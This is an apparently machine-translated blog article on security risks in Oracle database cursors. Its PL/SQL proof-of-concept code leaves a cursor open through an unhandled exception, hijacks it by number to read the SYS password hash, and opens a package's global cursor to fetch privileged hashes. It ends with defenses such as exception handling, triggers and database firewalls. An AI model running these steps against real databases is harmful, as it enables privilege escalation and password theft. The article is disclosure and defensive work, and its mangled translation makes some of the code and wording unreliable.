duang! A dangerous Oracle Cursor

1. Introduction

SQL is a collection-oriented language, and the result is generally a collection (with multiple records), and the PL-SQL variable is a scalar, a set of variables can only hold one record at a time. Many times the number of records for a query result is indeterminate, and you cannot declare enough variables in advance. The cursor concept is introduced, and the cursor makes the database operation more flexible, but also gives the hacker the opportunity to invade the database. An Huaqin and the Database Security Lab (DBSEC Labs) based on the principle of cursor application, this article discusses the potential security implications of cursors and how to deal with these security risks.

2, the classification of cursors

Oracle database cursors are SQL DQL, DML, and so on, when Oracle allocates a buffer for its result set in memory. A cursor is a pointer to the area, a workspace named, or a structured data type. It provides an application with a way to handle each row of data in the result set separately. Oracle cursors can be grouped into the following 3 categories: Explicit cursors, implicit cursors, and dynamic cursors (relational-specific).

650) this.width=650; "src=" http://s10.sinaimg.cn/mw690/001T9C8mzy6Ru5GMKUhd9 "title=" "style=" border:0px; Vertical-align:middle; "/>

The core function of a cursor is to retrieve a result set from a table, point to one record at a time, and interact with the client or application, so the cursor is a common programming method for an application that designs embedded SQL statements. With the wide use of cursors, its own security concerns have become more and more prominent.

3. Safety hazard caused by cursors

The security implications of Oracle cursors for databases are divided into three major categories:

3.1. Lack of exception handling, pending cursors are exploited maliciously

The cursor stores the corresponding information in the database in a memory block, and when the user opens the cursor, it can directly access the information stored in the memory block pointed to by the cursor without having to access the base table for data. If a high-privileged user establishes a cursor without closing the cursor, it is possible for a low-privileged user to obtain critical information stored in the cursor, or to inject malicious statements into an open cursor for high-privilege operation for the purpose of power-up or unauthorized access. This is the basis of the cursor Snarf right.

Abnormal cursor shutdown is basically human-caused, high-privilege users forget to close, or the cursor is located in a subroutine lacking exception handling mechanism. Without proper exception handling, it is possible for a hacker to create an exception that will cause the cursor to be suspended and inject malicious code with a cursor that is not closed. Execute malicious code with the high privileges of the cursor itself, and perform ultra vires or illegal power-up operation.

The following test cases are provided by An Huaqin and the Database Security lab:

Sql> Connect/as Sysdba is connected.
sql> CREATE OR REPLACE PROCEDURE schina_test (p_user VARCHAR) is
2 cursor_name INTEGER;
3 PASSWORD VARCHAR2 (30);
4 I INTEGER;
5 BEGIN
6 cursor_name: = Dbms_sql. Open_cursor;
7 Dbms_output. Put_Line (' CURSOR: ' | | cursor_name);
8 Dbms_sql. PARSE (cursor_name, ' SELECT PASSWORD from
9 SYS. Dba_users WHERE Username=:schina ', dbms_sql.native);
Ten Dbms_sql. Bind_variable (Cursor_name,:schina ', p_user);
One by one dbms_sql. Define_column (cursor_name,1,password,30);
I:=dbms_sql. EXECUTE (cursor_name);
IF PASSWORD = ' 01234567890ABCDEF ' Then
Dbms_output. Put_Line (' YOUR PASSWORD HASH is not OK ');
All ELSE
Dbms_output. Put_Line (' YOUR PASSWORD HASH is OK ');
+ END IF;
Dbms_sql. Close_cursor (cursor_name);
The END;
20/pl/sql
The process has completed successfully.
Sql> Grant execute on schina_test to public;
Authorization is successful.

Schina_test is a stored procedure that lacks exception handling code, and its role is to find the password hash value for a given user and then compare it to a fixed hash value and return the result. Open_cursor Open the cursor until the close_cursor or SQL session terminates the cursor exit. Because of the lack of an exception code mechanism, executing this stored procedure with any low-privileged account can trigger an exception pending cursor.

Sql> Connect Scott/tiger is connected.
Sql> set Serveroutput on
Sql> Declare
2 x varchar (40000);
3 I integer;
4 begin
5 fro i in 1..10000 loop
6 x:= ' B ' | | X
7 End Loop;
8 sys. Schina_test (x);
9 End;
10/

CURSOR 3241423

The system returns a ORA-01460 error by entering an too-long x into the p_user. Because the exception is not handled in the stored procedure schina_test, although the cursor is closed in the stored procedure, the cursor is suspended due to an exception and is not actually closed. You can label a non-closed tour into a malicious statement to achieve the desired effect.

3.2. Oracle Cursor Vulnerability Rights

2 cursor_name INTEGER;
3 I INTEGER;
4 PWD VARCHAR2 (30);
5 BEGIN
6 cursor_name:=3241423;
7dbms_sql. Bind_variable (cursor_name, ': Schina ', ' SYS ');
8 Dbms_sql. Define_column (cursor_name,1,pwd,30);
9 i:=dbms_sql. EXECUTE (cursor_name);
IF Dbms_sql. Fetch_rows (cursor_name) >0 then
Dbms_sql. Column_value (CURSOR_NAME,1,PWD);
END IF;
Dbms_sql. Close_cursor (cursor_name);
Dbms_output. Put_Line (' PWD: ' | | PWD);
END;
/

The code above is done with the cursor value being fetched, so the cursor value 3241423 is written where the code is declared. Use Bind_variable (cursor_name, ': Schina ', SYS) in dbms_sql to bind the cursor to the SYS user. This executes the query SYS user. The statement that the background database really runs is: select password from sys.dba_users where username= ' sys '. The purpose of the Dbms_sql.define_column function is to return the value of the first column in the cursor to the PWD variable. After executing the above anonymous block, the system results return the hash hash of the SYS password, and the conversion using the hash reverse tool can obtain the SYS password plaintext, and directly capture the highest permissions of the database.

3.3. Security implications of Oracle cursor design itself

In fact, it is not so troublesome to get the password of a high-privileged account through a cursor, and Oracle has a security problem on its cursor design. Write a package with a high-privileged user, and the package is put in a cursor, and the function is consistent with the schina_test used earlier. Used to retrieve the hash required to check the account. Then compare it with a set of preset hashes we give. A low-privileged user who knows that the cursor can use the cursor directly out of the envelope to get the contents of the cursor. In-package cursors can be called outside the package, which is a security flaw in the design of the Oracle cursor itself.

Sql> Connect/as SYSDBA
is connected.

Sql> CREATE OR REPLACE package Schina as
2 CURSOR X (USERNAME in VARCHAR2) is the SELECT PASSWORD from SYS. user$
3 WHERE Name=username;
4 PROCEDURE Check_password;
5 END;
6/

Package has been created.

Sql> CREATE OR REPLACE package BODY Schina as
2 PROCEDURE Check_password is
3 PASSWORD VARCHAR2 (200);
4 BEGIN
5 OPEN X (USER ());
6 FETCH X into PASSWORD;
7 CLOSE X;
8 IF PASSWORD = ' 01234567890ABCDEF ' Then
9 Dbms_output. Put_Line (' YOUR PASSWORD HASH is not OK ');
Ten ELSE
One by one dbms_output. Put_Line (' YOUR PASSWORD HASH is OK ');
The END IF;
END Check_password;
The END;
15/

The package body has been created.

Sql> Show Errors
No errors.
Sql> GRANT EXECUTE on SYS. Schina to public;

Authorization is successful.

The show errors test found that the entire process did not have an X-cursor hang problem. The x cursor is closed properly, so that everything works properly to switch to a low-privileged account.
Sql> Connect Scott/tiger
is connected.
Sql> set Serveroutput on
sql> exec Sys.schina.check_password;
YOUR PASSWORD HASH is OK

The results returned by the execution package are safe and do not show the contents stored in the travel label, but the result of using the cursor outside the package becomes unsafe if an anonymous block is passed, and the low-privileged user can easily use cursors set by the high-privilege user. The result set stored in the cursor can be obtained directly through a cursor.
Sql> DECLARE PASSWORD VARCHAR2 (200);
2 BEGIN OPEN SYS. Schina. X (' SYS ');
3 FETCH SYS. Schina. X into PASSWORD;
4 CLOSE SYS. Schina. X
5 Dbms_output. Put_Line (' The SYS password is ' | | PASSWORD);
6 END;
7/
The SYS password is CF10653F66A74AC2

The password of any privileged account will be obtained by the low-privileged user directly, and then the password of all accounts can be obtained through the hash reverse tool.

4. Workaround

Based on the safety hazard of the previous cursor, we have ascertained the cause of the safety hidden danger of the cursor. This chapter describes how to prevent these security risks.

4.1. Anti-cursor is suspended maliciously

1) Simple specification input verification process, binding variables can not meet the increasingly serious security threat of the cursor. The length of the variable to which the user can enter parameters should be more restrictive to prevent the exception from being triggered. The most basic approach is to limit the length of the user input parameters to the normal value, after the user input parameters, the parameters are first length check. If the default length is exceeded, the secondary input is discarded directly, which can reduce the probability of the occurrence of the anomaly to some extent.

2) always maintain the subroutine, there is a special exception handling mechanism to deal with the exception. Prevents malicious input, causing the cursor to be suspended. When an exception occurs, the cursor is guaranteed to close.

4.2. Anti-Cursor Vulnerability rights

The key technique of using cursors to extract weights is to take advantage of some of the functions with varchar parameters in the Dbms_sql package, especially the Dbms_sql.parse function, which is the completion of the tour callout into class attack. It is through this function that the attacker completes injecting malicious code into the function and binds the malicious code to the cursor.

The most straightforward idea is to restrict the use of dbms_sql by the low-privileged user by revoking the public permissions of the Dbms_sql. However, there are at least 170 objects in the entire Oracle that depend on Dbms_sql. If you revoke Dbms_sql's public permissions, it can cause a lot of operational headaches. While Dbms_sql provides the injected soil, if we limit the DDL statements we can also prevent hackers from exploiting dbms_sql to exploit the malicious attacks on the database. There are 3 ways of restricting DDL statements:
1) control through permissions.
2) controlled by the Before type safety trigger.
3) control through the firewall.

An Huaqin and database security experts after a lot of testing and analysis found that when the user is small, the DBA can set individual permissions per user, but if the user volume is large, individual permission settings are neither realistic nor accurate. Database firewalls and before security triggers are recommended. You can trigger to return a custom system error before the user executes the DDL statement, informing the user that the DDL permission is not being executed, so that the user can be throttled to execute the DDL. However, if you want to limit user DDL statements more precisely, using a database firewall can be more convenient and flexible than using triggers.

4.3. Anti-Wiper design defects

There is a problem with the Oracle global cursor design, which can be opened outside of the defined package, and the low-privileged user is likely to get sensitive information that can be seen with high permissions. If, in an optional case, you try not to use a cursor, if you want to use a cursor, try using a local cursor (a cursor that cannot be opened outside the cursor definition package). Finally, if you must use a global cursor, An Huaqin and database security expert tips can check the user who called the cursor through a database firewall or trigger. If the user is found to be lower than the user who created the cursor, the cursor is blocked from being opened by the user, otherwise the user can call the cursor normally.

4.4. Recommendations

As the core subroutine of Oracle, the security of the cursor is important. But Oracle's cursors solve some problems, but we still have a lot of security problems. An Huaqin and recommends that Oracle give the cursor a parameter as a security parameter. By default, the security key is turned on, and when the cursor is opened outside its defined package, the cursor is forced to check and, once it is found that the user right to open the cursor is lower than the right to create the cursor, throws an exception directly and disables the opening of the cursor.

5. Concluding remarks

This article analyzes Oracle cursors from a security perspective. There are a number of security risks found in Oracle cursors from three different angles. There are DBA errors caused by the Oracle vulnerabilities, but the most serious is the Oracle's global cursor itself design problems. To protect sensitive information, you can defend it by setting permissions, creating triggers, deploying database firewalls, and more. But the most important thing is to hope that Oracle can set a security parameter on the cursor. The caller of the cursor opened outside the package is eligible for approval. Only in this way can the security implications of Oracle cursors be resolved from the mechanism.

This article is from the Database security blog, so be sure to keep this source http://schina.blog.51cto.com/9734953/1633040

duang! A dangerous Oracle Cursor